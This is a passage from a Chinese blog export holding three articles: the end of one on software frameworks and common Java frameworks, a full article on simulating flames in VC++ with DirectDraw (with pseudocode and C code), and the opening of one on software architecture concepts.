要提供哪些服务，需要以什么样的方式进行管理。因此，这时候做的事情实际上是对领域进行建模。例如，我们定义任何一种硬件都需要提供两种能力，一种是统一 的管理接口，用于对所有硬件统一管理；另一种是服务接口，系统平台可以查询硬件所能够提供的服务，并调用这些服务。所以，设计的规范将会针对两种能力进 行。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 另一个问题是如何描述这个管理系统的规范。你需要描述各种管理活动，以及管理中所涉及的不同实体。因为管理系统是针对硬件的管理，所以它是构架在硬件整合平台之上的。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在完成业务层面的设计之后，我们再来看看具体的技术实现。光有规范和设计是不够的，我们还需要选择一个优秀的技术。由于是对不同硬件的整合，我们想到采用Java提供的JMX技术。JMX技术适合用来进行系统整合，它定义了一个通用的规范，并给出了远程管理端口的一些默认实现。JMX已经经过了实践的检验，不少的应用服务器都采用了以JMX为基础的结构，例如有名的JBoss。JMX已经是一个很好的开始了，但是我们还需要在JMX的基础上再做一些工作。\n二、什么要用框架？\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 因为软件系统发展到今天已经很复杂了，特别是服务器端软件，设计到的知识，内容，问题太多。在某些方面使用别人成熟的框架，就相当于让别人帮你完成一些基 础工作，你只需要集中精力完成系统的业务逻辑设计。而且框架一般是成熟，稳健的，他可以处理系统很多细节问题，比如，事物处理，安全性，数据流控制等问 题。还有框架一般都经过很多人使用，所以结构很好，所以扩展性也很好，而且它是不断升级的，你可以直接享受别人升级代码带来的好处。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架一般处在低层应用平台（如J2EE）和高层业务逻辑之间的中间层。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 软件为什么要分层？\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 为了实现\u0026ldquo;高内聚、低耦合\u0026rdquo;。把问题划分开来各个解决，易于控制，易于延展，易于分配资源\u0026hellip;总之好处很多啦：）。\n三、为什么要进行框架开发? \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架的最大好处就是重用。面向对象系统获得的最大的复用方式就是框架，一个大的应用系统往往可能由多层互相协作的框架组成。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 由于框架能重用代码，因此从一已有构件库中建立应用变得非常容易，因为构件都采用框架统一定义的接口，从而使构件间的通信简单。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架能重用设计。它提供可重用的抽象算法及高层设计，并能将大系统分解成更小的构件，而且能描述构件间的内部接口。这些标准接口使在已有的构件基础上通过 组装建立各种各样的系统成为可能。只要符合接口定义，新的构件就能插入框架中，构件设计者就能重用构架的设计。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架还能重用分析。所有的人员若按照框架的思想来分析事务，那么就能将它划分为同样的构件，采用相似的解决方法，从而使采用同一框架的分析人员之间能进行沟通。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 采用框架技术进行软件开发的主要特点包括： 领域内的软件结构一致性好； 建立更加开放的系统； 重用代码大大增加，软件生产效率和质量也得到了提高； 软件设计人员要专注于对领域的了解，使需求分析更充分； 存储了经验，可以让那些经验丰富的人员去设计框架和领域构件，而不必限于低层编程； 允许采用快速原型技术； 有利于在一个项目内多人协同工作； \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 大粒度的重用使得平均开发费用降低，开发速度加快，开发人员减少，维护费用降低，而参数化框架使得适应性、灵活性增强。 四、与框架相关的概念 1. 白盒与黑盒框架 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架可分为白盒(White-Box)与黑盒(Black-Box)两种框架。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 基于继承的框架被称为白盒框架。所谓白盒即具备可视性，被继承的父类的内部实现细节对子类 而言都是可知的。利用白盒框架的应用开发者通过衍生子类或重写父类的成员方法来开发系统。子类的实现很大程度上依赖于父类的实现，这种依赖性限制了重用的 灵活性和完全性。但解决这种局限性的方法可以是只继承抽象父类，因为抽象类基本上不提供具体的实现。白盒框架是一个程序骨架，而用户衍生出的子类是这个骨 架上的附属品。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 基于对象构件组装的框架就是黑盒框架。应用开发者通过整理、组装对象来获得系统的实现。用户只须了解构件的外部接口，无须了解内部的具体实现。另外，组装比继承更为灵活，它能动态地改变，继承只是一个静态编译时的概念。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在理想情况下，任何所需的功能都可通过组装已有的构件得到，事实上可获得的构件远远不能满足需求，有时通过继承获得新的构件比利用已有构件组装新构件更容 易，因此白盒和黑盒将同时应用于系统的开发中。不过白盒框架趋向于向黑盒框架发展，黑盒框架也是系统开发希望达到的理想目标。 2. 热点、食谱以及好莱坞原则 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 成功的框架开发需要确定领域专用的\u0026ldquo;热点\u0026rdquo; (Hot spot)。应用开发者在框架的基础上进行开发，只须扩展框架的某些部分，\u0026ldquo;热点\u0026rdquo;就是在应用领域的一种扩展槽，开发者根据自己的需要填充这些扩展槽。 \u0026ldquo;热点\u0026rdquo;使框架具有灵活性，如在具体的实现中，扩展槽可以被看成是一些抽象类，开发者通过重写抽象方法获得具体实现。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026ldquo;食谱\u0026rdquo; (Cookbook)就是描述如何使用框架方法的文档。在\u0026ldquo;食谱\u0026rdquo;中包含了许多\u0026ldquo;烹饪\u0026rdquo;方法，这些\u0026ldquo;烹饪\u0026rdquo;方法相当于一些具体的操作步骤，描述了为解决某一专门问题如何使用框架的详细方法。框架的内部设计和实现细节通常不出现在\u0026ldquo;食谱\u0026rdquo;中。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 框架的一个重要特征就是用户定义的方法经常被框架自身调用，而不是从用户的应用代码中调用。这种机制常称为\u0026ldquo;好莱坞原则\u0026rdquo;(Hollywood Principle)或\u0026ldquo;别调用我们，我们会调用您\u0026rdquo;。\n五、常见的JAVA框架有什么？\nWAF：\n全称：WEB APPLICATION FRAMEWORK\n主要应用方面：EJB层，（WEB层也有，但是比较弱）。\n主要应用技术：EJB等\n出处：java.sun.com/blueprints/code/index.html\u0026quot;\u0026gt;http://java.sun.com/blueprints/code/index.html\n简述：这是SUN在展示J2EE平台时所用的例子PetStore(宠物商店系统)里面的框架。是SUN蓝皮书例子程序中提出的应用框架。它实现了 MVC和其他良好的设计模式。SUN的网站上有技术资料，最好下载PetStore来研究，WEBLOGIC里自带此系统，源码在beaweblogic700samplesserversrcpetstore。这是学习了解J2EE的首选框架。\n免费。\nStruts:\n主要应用方面：WEB层。\n主要应用技术：JSP,TagLib,JavaBean,XML等\n出处：http://jakarta.apache.org/struts/index.html\n简述：这是APACHE的开源项目，目前应用很广泛。基于MVC模式，结构很好，基于JSP。Jbuilder8里已经集成了STRUTS1.02的制作。\n免费。\n简述WAF+STRUTS结合的例子：WEB层用STRUTS，EJB层用WAF：\nJSP(TagLib)\u0026mdash;\u0026mdash;\u0026gt;ActionForm\u0026mdash;\u0026mdash;\u0026gt;Action \u0026mdash;\u0026mdash;\u0026gt;\nEvent\u0026mdash;\u0026mdash;\u0026gt;EJBAction\u0026mdash;\u0026mdash;\u0026gt;EJB\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026mdash;\u0026mdash;\u0026gt;DAO\u0026mdash;\u0026mdash;\u0026gt;Database JSP（TagLib） (forward) \u0026lt;\u0026mdash;\u0026mdash;Action \u0026lt;\u0026mdash;\u0026mdash;EventResponse\u0026lt;\u0026mdash;\u0026mdash;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Turbine：\n主要应用方面：WEB层。\n主要应用技术：servlet等\n出处：http://jakarta.apache.org/turbine/index.html\n简述：这是APACHE的开源项目。基于SERVLET。据说速度比较快，基于service（pluggable implementation可插拔的执行组件）的方式提供各种服务。\n免费。\nCOCOON：\n主要应用方面：WEB层。\n主要应用技术：XML，XSP，servlet等\n出处：http://cocoon.apache.org/2.0/\n简述：这是APACHE的一个开源项目。基于XML，基于XSP（通俗地说，XSP是在XML静态文档中加入Java程序段后形成的动态XML文档。）。特点是可以与多种数据源交互，包括文件系统，数据库，LDAP，XML资源库，网络数据源等。\n免费。\nECHO：\n主要应用方面：WEB层。\n主要应用技术：servlet等\n出处：http://www.nextapp.com/products/echo/\n简述：nextapp公司的一个开源项目。基于SERVLET。页面可以做的很漂亮，结合echopoint，可以作出很多图形效果（里面用了jfreechart包）。使用SWING的思想来作网页，把HTML当作JAVA的类来做。但是大量使用Session，页面分帧（Frame）很多,系统资源消耗很大。\n免费。\nJATO：\n全称：SUN ONE Application Framework\n主要应用方面：WEB层。\n主要应用技术：JSP,TagLib,JavaBean等\n出处：http://www.sun.com/\n简述：这是SUN推出的一个商业性框架，一看名字就知道是结合SUN ONE的平台推出的。我下载了JATO2.0看了一下，感觉有些简单，使用了JSP＋TagLib+JavaBean。如他的DOC所说JATO是适合用在小的WEB应用里。\n免费。\nTCF：\n全称：Thin-Client Framework\n主要应用方面：JAVA GUI。\n主要应用技术：JAVA application等\n出处：http://www.alphaworks.ibm.com/tech/tcf\n简 述：这是IBM出的一个框架。基于MVC模式，基于JAVA Application。推荐一篇介绍文章：java/j-tcf1/index.shtml\u0026quot;\u0026gt;http://www- 900.ibm.com/developerWorks/cn/java/j-tcf1/index.shtml\n收费：每个企业对象license:2000美元。 ","title":"又关于什么是框架"},{"content":"摘要：本文通过对真实火焰物理特性的分析，建立了火焰动态燃烧的数学模型，并在此数学模型基础之上借助于DirectDraw技术对图形显示的加速，在VC++ 6.0下对火焰作了效果非常逼真的计算机动态仿真。\n关键词：火焰；DirectDraw；计算机仿真 引言\n计算机仿真技术的基本原理都是一样的，神秘复杂的核爆同水波、火焰、烟雾等非常平常的自然现象在仿真处理过程中并没有什么太大的区别。都是经历了从实体对 象到物理特性的总结，再由此建立数学模型并在数学模型基础之上提出仿真算法，最后通过计算机将其动态仿真出来等一系列步骤。本文以火焰作为仿真对象，通过 对热源、热扩散以及对流等特性的分析对其建立了数学模型及仿真算法，为了能充分发挥计算机对图形的硬件加速，使用DirectDraw技术对仿真结果显示 进行了加速，使之能逼真、流畅地对火焰的燃烧过程实行动态模拟。 简单近似模型设计\n虽然火焰在自然界是一种极普通的自然现象，但根据流体力学的相关知识，火焰可以表达为一个相当复杂的三维动态流体系统。如要在计算机中对这样一个复杂的流 体系统做出精确的仿真将需要有相当庞大复杂的数学模型为基础，而且运算量将非常巨大，在现有的微型计算机中几乎很难保证其动态实时性，这也就失去了仿真的 意义。因此，在仿真时应用尽可能简单的模型来实现尽可能逼真的效果。\n从物理角度分析，要产生火焰，首先要有火源，其次为了产生\u0026quot;焰\u0026quot;的效果，需要以火源为中心向上、向四周扩散，而且由于在扩散过程中逐渐远离火源，温度会逐 渐下降，表现在视觉上就是火焰的冷却变暗。另外，由于火焰的高温使周围空气受热膨胀比重下降，因此会有空气的对流出现，这将把火焰向上\u0026quot;吹\u0026quot;起，使火焰向 四周扩散的距离要远小于向上扩散的距离。基于以上几点认识，可以采取对应的仿真措施：对火源的设置可以用一幅二值位图来标识，非火源以低亮度像素填充、火 源点则设以高亮度像素，通过对位图像素值的判别可以断定当前点是否为火源。\n对于火源的温度高低可用其所在点的亮度来描述；对于火焰扩散的模拟，为尽量减少运算量，在此简单地用某火源点(x,y)及其前后左右邻近四点的均值来近 似，即Pixel(x,y)=(Pixel(x,y)+Pixel(x,y-1)+Pixel(x,y+1)+Pixel(x-1,y)+Pixel(x +1,y))/5，虽然该近似算法没有采取正余弦的方法精确，但运算速度极快，而且在后续的实验效果上同采用正余弦的方法几乎没有任何差别；由于在仿真过 程中对火焰的温度是通过改变其亮度值来实现的，因此对于扩散过程的冷却可对像素点降低一个固定的亮度值来实现。衰减值的大小需要视所希望火焰冷却速度的快 慢而定；对流对火焰产生的直接影响就是使火焰始终保持向上燃烧，因此可通过将当前火焰上滚一至两个像素来加以实现。根据前面描述的仿真运算法则，可将火焰 的扩散和对流融合在一起实现，这将在一定程度上减少运算量，使产生的火焰在视觉上更加真实。实现上述近似模型的伪代码可大致设计如下：\nARRAY_OF_BYTES: buffer1(xsize*ysize)，buffer2(xsize*ysize)\nWhile(TRUE){\nfor(y=1;y\u0026lt;ysize-2;y++){\nfor(x=1;x\u0026lt;xsize-2;x++){\nn1 = buffer1(x+1, y) //读取4相临像素值\nn2 = buffer1(x-1, y)\nn3 = buffer1(x, y+1)\nn4 = buffer1(x, y-1)\np = ((n1+n2+n3+n4+p) /5)； //四临像素均值\np = p-c； //同一固定冷却衰减值相减\nif(p\u0026lt;0)\np=0\nbuffer2(x,y-1)=p }\n}\ncopy buffer2 to the screen ; //显示下一帧\ncopy buffer2 to buffer1； //更新Buffer1\n} 火焰非均匀冷却的改进模型\n根据上述近似模型可对火焰进行一定程度上的仿真，但由于没有引入随机分布火焰往往看上去相当单调规则，而且火焰总呈线性上升，冷却速度也严格地保持统一速 率。要消除以上问题，可通过引入随机非均匀因素来解决。一种途径是随机布置各点冷却值使火焰冷却过程非均匀化。但由于火焰的模拟过程是实时进行的，为确保 动态模拟过程中能顺畅进行，最好用预先创建的冷却位图（见右图）来代替。一般采用在屏幕上随机撒布几千个亮度不同的点并对其应用平滑处理等方法对冷却位图 加以填充。通过冷却图中获取的数值来代替原来固定的冷却衰减值效果要好的多，此时的冷却过程改进为Pixel(x,y)=Pixel(x,y)- Coolingmap(x,y) 这样的衰减结果将使火焰的冷却衰减效果更加真实：\np = lightBuf2+imgWidth*2;\npp = coolMap + coolMapWidth*2;\np1 = lightBuf1+imgWidth*2;\np2 = p1 \u0026#8211; imgWidth;\np3 = p1 \u0026#8211; 1;\np4 = p1 + 1;\np5 = p1 + imgWidth;\nfor(i=0;i\u0026lt;imgWidth*(imgHeight-4);i++){ //计算某点及其四邻像素均值\nc1=(unsigned char)(((UINT)*p1+(UINT)*p2+(UINT)*p3+(UINT)*p4+(UINT)*p5)/5);\nc2 = *pp;\nif(c1\u0026gt;c2)\nc1 -= c2;\n*p = c1;\npp++,p++,p1++,p2++,p3++,p4++,p5++; //内存指针修正\n} 由于火焰在进行冷却衰减的同时也在进行着火焰的扩散与对流因此必须使这几种效果保持同步，这需要以同对流速度相同的速度向上滚动冷却位图来实现。为减少不必要的操作，滚动是在内存中通过改变冷却位图的垂直偏移量来加以实现：\nmemcpy(lightBuf1,lightBuf1+imgWidth*3,imgWidth*(imgHeight-3)); 经过以上几步处理虽有一定程度的改善，但仍存在一些缺陷，比如生存期、火焰上升速度恒定、在整个空间燃烧等。为使仿真效果更加逼真，可通过设置种子点来对 上述缺陷加以改进。同样出于处理速度的考虑，最好将种子点也以位图的形式预先设定，在仿真时直接在内存中通过移动指针来完成对种子点的访问，其主要代码大 致如下：\nint t = RAND_MAX/5;\ntopX = (imgWidth \u0026#8211; seedMapWidth)/2; //seedMapWidth种子位图宽度\ntopY = (imgHeight \u0026#8211; seedMapHeight)/2; //seedMapHeight种子位图高度\np = lightBuf1 + (topY+2)*imgWidth + topX; //p, unsigned char型指针\nps = seedMap + seedMapWidth*2; //ps, unsigned char型指针\nfor(j=0;j\u0026lt;(seedMapHeight-4);j++) {\np1 = p; //p1, unsigned char型指针\nfor(k=0;k\u0026lt;seedMapWidth;k++){\nif(*ps != 0){ //ps, unsigned char型指针\nif(rand() \u0026lt; t)\n*p1 = 255;\n}\np1++,ps++; //指针修正\n}\np += imgWidth; //指针修正\n}\n图形加速显示\n前面的算法设计中一直很注意减少不必要的运算量以期获得尽可能高的处理速度，但仅靠好的算法远不能取得满意的视觉效果。不少大型游戏尽管场景非常复杂，场 景变化快，但玩家很少能感觉到游戏有难以忍受的停顿感。这不仅因为游戏采取了好的算法更重要的是游戏在同玩家交互的过程中大量采用了Direct X技术，该技术是Direct Draw、Direct Sound、Direct 3D等诸多技术的总称。DirectDraw是其中最主要的一个部件，主要负责对图形的加速，并允许程序员可以直接操作显存、硬件位图映射以及硬件覆盖和 换页技术。而且该技术还支持双缓冲和图形换页、3D z-buffers （z缓存）以及z方向（z-ordering）硬件辅助覆盖等许多重要功能。可以看出，通过使用Direct Draw技术将极大改善仿真结果的图形输出效果，能非常流畅地对火焰进行实时的仿真。使用该技术之前必须先进行初试化等预处理工作：\n//创建DirectDraw对象（为突出程序流程，以下均对错误检测进行了省略）\nDirectDrawCreate( NULL, \u0026amp;lpDD, NULL ); //取得全屏独占模式\nlpDD-\u0026gt;SetCooperativeLevel(hwnd, DDSCL_EXCLUSIVE | DDSCL_FULLSCREEN );\n//设置显示器显示模式\nlpDD-\u0026gt;SetDisplayMode( 640,480, 16 );\n//填充主页面信息\nddsd.dwSize = sizeof( ddsd );\nddsd.dwFlags = DDSD_CAPS|DDSD_BACKBUFFERCOUNT;\nddsd.ddsCaps.dwCaps = DDSCAPS_PRIMARYSURFACE |DDSCAPS_FLIP | DDSCAPS_COMPLEX;\nddsd.dwBackBufferCount = 1; //一个后台页面\n//创建主页面\nlpDD-\u0026gt;CreateSurface( \u0026amp;ddsd, \u0026amp;lpDDSPrimary, NULL );\nddscaps.dwCaps = DDSCAPS_BACKBUFFER;\nlpDDSPrimary-\u0026gt;GetAttachedSurface(\u0026amp;ddscaps,\u0026amp;lpDDSBack);\nDDPIXELFORMAT pixelFormat;\npixelFormat.dwSize = sizeof(DDPIXELFORMAT);\nlpDDSPrimary-\u0026gt;GetPixelFormat(\u0026amp;pixelFormat);\n\u0026hellip;\u0026hellip; 初始化完成后可以通过在后台页面绘图，并在绘制完毕后将后台页面复制到主页面完成对一帧图像的显示：\nlpDDSBack-\u0026gt;Blt(NULL,NULL,NULL,DDBLT_COLORFILL|DDBLT_WAIT, \u0026amp;ddbltfx);\nddrval = lpDDSBack-\u0026gt;Lock(NULL, \u0026amp;ddsd, 0, NULL) //锁定后台页面\nwhile (ddrval== DDERR_WASSTILLDRAWING);\nif( ddrval == DD_OK ){ fire.render((WORD*)ddsd.lpSurface); //完成对一帧火焰的渲染\nlpDDSBack-\u0026gt;Unlock(NULL); //解锁后台页面\n}\nwhile( 1 ) {\nddrval = lpDDSPrimary-\u0026gt;Flip( NULL, 0 ); //换页\nif( ddrval == DD_OK )\nbreak;\nif( ddrval == DDERR_SURFACELOST ){\nddrval = lpDDSPrimary-\u0026gt;Restore(); //恢复主页面\nif( ddrval != DD_OK )\nbreak;\n}\nif( ddrval != DDERR_WASSTILLDRAWING )\nbreak;\n} 根据以上程序算法对火焰进行了仿真实验，在速度和仿真结果在视觉的逼真程度上都获得了非常好的效果。右图是从仿真过程中截取的一帧画面，从图中可以看出， 虽然在前面的算法设计过程中多处采用了看似过分的近似处理，但并未因此产生负面效果。实验表明，本文采用的在数据缓冲区中对图象进行处理的方法在程序运算 和显示的速度上与仿真对象\u0026#8211;火焰的复杂程度是无关的，因此用类似的方法完全可以比较容易地实现对其他复杂物理、自然现象的仿真模拟。\n结论\n本文通过对火焰的计算机仿真模拟实现过程，对仿真模拟类程序一般的设计实现过程做了简要介绍。通过对本文所述程序设计思路与实现方法的理解，可以用类似的 方法结合实际情况灵活选用诸如OpenGL、Direct3D等不同的软件接口对其他一些自然现象进行仿真模拟。本文所述程序在Windows 98下，由Microsoft Visual C++ 6.0调试通过（需要DirectX 5.0支持）。 来自：cndeve\n","permalink":"https://hessian.cn/p/541.html","summary":"摘要：本文通过对真实火焰物理特性的分析，建立了火焰动态燃烧的数学模型，并在此数学模型基础之上借助于DirectDraw技术对图形显示的加速，在VC++ 6.0下对火焰作了效果非常逼真的计算机动态仿真。\n","title":"VC++编程实现对火焰的计算机动态仿真"},{"content":"中科永联高级技术培训中心（www.itisedu.com）\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;软件架构（software architecture）是一系列相关的抽象模式，用于指导大型软件系统各个方面的设计。 软件架构是一个系统的草图。软件架构描述的对象是直接构成系统的抽象组件。各个组件之间的连接则明确和相对细致地描述组件之间的通讯。在实现阶段，这些抽象组件被细化为实际的组件，比如具体某个类或者对象。在面向对象领域中，组件之间的连接通常用接口_(计算机科学)来实现。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;软件体系结构是构建计算机软件实践的基础。与建筑师设定建筑项目的设计原则和目标，作为绘图员画图的基础一样，一个软件架构师或者系统架构师陈述软件构架以作为满足不同客户需求的实际系统设计方案的基础。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 软件构架是一个容易理解的概念，多数工程师（尤其是经验不多的工程师）会从直觉上来认识它，但要给出精确的定义很困难。特别是，很难明确地区分设计和构架：构架属于设计的一方面，它集中于某些具体的特征。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在\u0026ldquo;软件构架简介\u0026rdquo;中，David Garlan 和 Mary Shaw 认为软件构架是有关如下问题的设计层次：\u0026ldquo;在计算的算法和数据结构之外，设计并确定系统整体结构成为了新的问题。结构问题包括总体组织结构和全局控制结 构；通信、同步和数据访问的协议；设计元素的功能分配；物理分布；设计元素的组成；定标与性能；备选设计的选择。\u0026rdquo;[GS93]\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 但构架不仅是结构；IEEE Working Group on Architecture 把其定义为\u0026ldquo;系统在其环境中的最高层概念\u0026rdquo;[IEEE98]。构架还包括\u0026ldquo;符合\u0026rdquo;系统完整性、经济约束条件、审美需求和样式。它并不仅注重对内部的考虑，而且还在系统的用户环境和开发环境中对系统进行整体考虑，即同时注重对外部的考虑。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在 Rational Unified Process 中，软件系统的构架（在某一给定点）是指系统重要构件的组织或结构，这些重要构件通过接口与不断减小的构件与接口所组成的构件进行交互。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 从和目的、主题、材料和结构的联系上来说，软件架构可以和建筑物的架构相比拟。一个软件架构师需要有广泛 的软件理论知识和相应的经验来事实和管理软件产品的高级设计。软件架构师定义和设计软件的模块化，模块之间的交互，用户界面风格，对外接口方法，创新的设 计特性，以及高层事物的对象操作、逻辑和流程。\n是一般而言，软件系统的架构（Architecture）有两个要素：\n\u0026middot;它是一个软件系统从整体到部分的最高层次的划分。\n一个系统通常是由元件组成的，而这些元件如何形成、相互之间如何发生作用，则是关于这个系统本身结构的重要信息。\n详细地说，就是要包括架构元件（Architecture Component）、联结器（Connector）、任务流（Task-flow）。所谓架构元素，也就是组成系统的核心\u0026quot;砖瓦\u0026quot;，而联结器则描述这些元件之间通讯的路径、通讯的机制、通讯的预期结果，任务流则描述系统如何使用这些元件和联结器完成某一项需求。\n\u0026middot;建造一个系统所作出的最高层次的、以后难以更改的，商业的和技术的决定。\n在建造一个系统之前会有很多的重要决定需要事先作出，而一旦系统开始进行详细设计甚至建造，这些决定就很难更改甚至无法更改。显然，这样的决定必定是有关系统设计成败的最重要决定，必须经过非常慎重的研究和考察。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 历史\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 早在1960年代，诸如E\u0026middot;W\u0026middot;戴克斯特拉就已经涉及软件架构这个概念了。自1990年代以来，部分由于在 Rational Software Corporation 和Microsoft内部的相关活动，软件架构这个概念开始越来越流行起来。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 卡内基梅隆大学和加州大学埃尔文分校在这个领域作了很多研究。卡内基\u0026middot;梅隆大学的Mary Shaw和David Garlan于1996年写了一本叫做 Software Architecture perspective on an emerging discipline的书，提出了软件架构中的很多概念，例如软件组件、连接器、风格等等。 加州大学埃尔文分校的软件研究院所做的工作则主要集中于架构风格、架构描述语言以及动态架构。\n计算机软件的历史开始于五十年代，历史非常短暂，而相比之下建筑工程则从石器时代就开始了，人类在几千年的建筑设计实践中积累了大量的经验和教训。建筑设计基本上包含两点，一是建筑风格，二是建筑模式。独特的建筑风格和恰当选择的建筑模式，可以使一个独一无二。\n下面的照片显示了中美洲古代玛雅建筑，Chichen-Itza大金字塔，九个巨大的石级堆垒而上，九十一级台阶（象征着四季的天数）夺路而出，塔顶的神殿耸入云天。所有的数字都如日历般严谨，风格雄浑。难以想象这是石器时代的建筑物。\n图1、位于墨西哥Chichen-Itza（在玛雅语中chi意为嘴chen意为井）的古玛雅建筑。（摄影：作者） 软件与人类的关系是架构师必须面对的核心问题，也是自从软件进入历史舞台之后就出 现的问题。与此类似地，自从有了建筑以来，建筑与人类的关系就一直是建筑设计师必须面对的核心问题。英国首相丘吉尔说，我们构造建筑物，然后建筑物构造我 们（We shape our buildings, and afterwards our buildings shape us）。英国下议院的会议厅较狭窄，无法使所有的下议院议员面向同一个方向入座，而必须分成两侧入座。丘吉尔认为，议员们入座的时候自然会选择与自己政见 相同的人同时入座，而这就是英国政党制的起源。Party这个词的原意就是\u0026quot;方\u0026quot;、\u0026quot;面\u0026quot;。政党起源的关键就是建筑物对人的影响。\n在软件设计界曾经有很多人认为功能是最为重要的，形式必须服从功能。与此类似地，在建筑学界，现代主义建筑流派的开创人之一Louis Sullivan也认为形式应当服从于功能（Forms follows function）。\n几乎所有的软件设计理念都可以在浩如烟海的建筑学历史中找到更为遥远的历史回响。最为著名的，当然就是模式理论和XP理论。\n架构的目标是什么\n正如同软件本身有其要达到的目标一样，架构设计要达到的目标是什么呢？一般而言，软件架构设计要达到如下的目标：\n\u0026middot;可靠性（Reliable）。软件系统对于用户的商业经营和管理来说极为重要，因此软件系统必须非常可靠。\n\u0026middot;安全行（Secure）。软件系统所承担的交易的商业价值极高，系统的安全性非常重要。\n\u0026middot;可扩展性（Scalable）。软件必须能够在用户的使用率、用户的数目增加很快的情况下，保持合理的性能。只有这样，才能适应用户的市场扩展得可能性。 \u0026middot;可定制化（Customizable）。同样的一套软件，可以根据客户群的不同和市场需求的变化进行调整。\n\u0026middot;可扩展性（Extensible）。在新技术出现的时候，一个软件系统应当允许导入新技术，从而对现有系统进行功能和性能的扩展\n\u0026middot;可维护性（Maintainable）。软件系统的维护包括两方面，一是排除现有的错误，二是将新的软件需求反映到现有系统中去。一个易于维护的系统可以有效地降低技术支持的花费\n\u0026middot;客户体验（Customer Experience）。软件系统必须易于使用。\n\u0026middot;市场时机（Time to Market）。软件用户要面临同业竞争，软件提供商也要面临同业竞争。以最快的速度争夺市场先机非常重要。\n架构的种类\n根据我们关注的角度不同，可以将架构分成三种：\n\u0026middot;逻辑架构、软件系统中元件之间的关系，比如用户界面，数据库，外部系统接口，商业逻辑元件，等等。\n比如下面就是笔者亲身经历过的一个软件系统的逻辑架构图\n图2、一个逻辑架构的例子\n从上面这张图中可以看出，此系统被划分成三个逻辑层次，即表象层次，商业层次和数据持久层次。每一个层次都含有多个逻辑元件。比如WEB服务器层次中有HTML服务元件、Session服务元件、安全服务元件、系统管理元件等。\n\u0026middot;物理架构、软件元件是怎样放到硬件上的。\n比如下面这张物理架构图描述了一个分布于北京和上海的分布式系统的物理架构，图中所有的元件都是物理设备，包括网络分流器、代理服务器、WEB服务器、应用服务器、报表服务器、整合服务器、存储服务器、主机等等。\n图3、一个物理架构的例子 \u0026middot;系统架构、系统的非功能性特征，如可扩展性、可靠性、强壮性、灵活性、性能等。\n系统架构的设计要求架构师具备软件和硬件的功能和性能的过硬知识，这一工作无疑是架构设计工作中最为困难的工作。\n此外，从每一个角度上看，都可以看到架构的两要素：元件划分和设计决定。 首先，一个软件系统中的元件首先是逻辑元件。这些逻辑元件如何放到硬件上，以及这些元件如何为整个系统的可扩展性、可靠性、强壮性、灵活性、性能等做出贡献，是非常重要的信息。\n其次，进行软件设计需要做出的决定中，必然会包括逻辑结构、物理结构，以及它们如何影响到系统的所有非功能性特征。这些决定中会有很多是一旦作出，就很难更改的。\n根据作者的经验，一个基于数据库的系统架构，有多少个数据表，就会有多少页的架构设计文档。比如一个中等的数据库应用系统通常含有一百个左右的数据表，这样的一个系统设计通常需要有一百页左右的架构设计文档。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 构架描述 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 为了讨论和分析软件构架，必须首先定义构架表示方式，即描述构架重要方面的方式。在 Rational Unified Process 中，软件构架文档记录有这种描述。\n构架视图 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 我们决定以多种构架视图来表示软件构架。每种构架视图针对于开发流程中的涉众（例如最终用户、设计人员、管理人员、系统工程师、维护人员等）所关注的特定方面。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 构架视图显示了软件构架如何分解为构件，以及构件如何由连接器连接来产生有用的形式 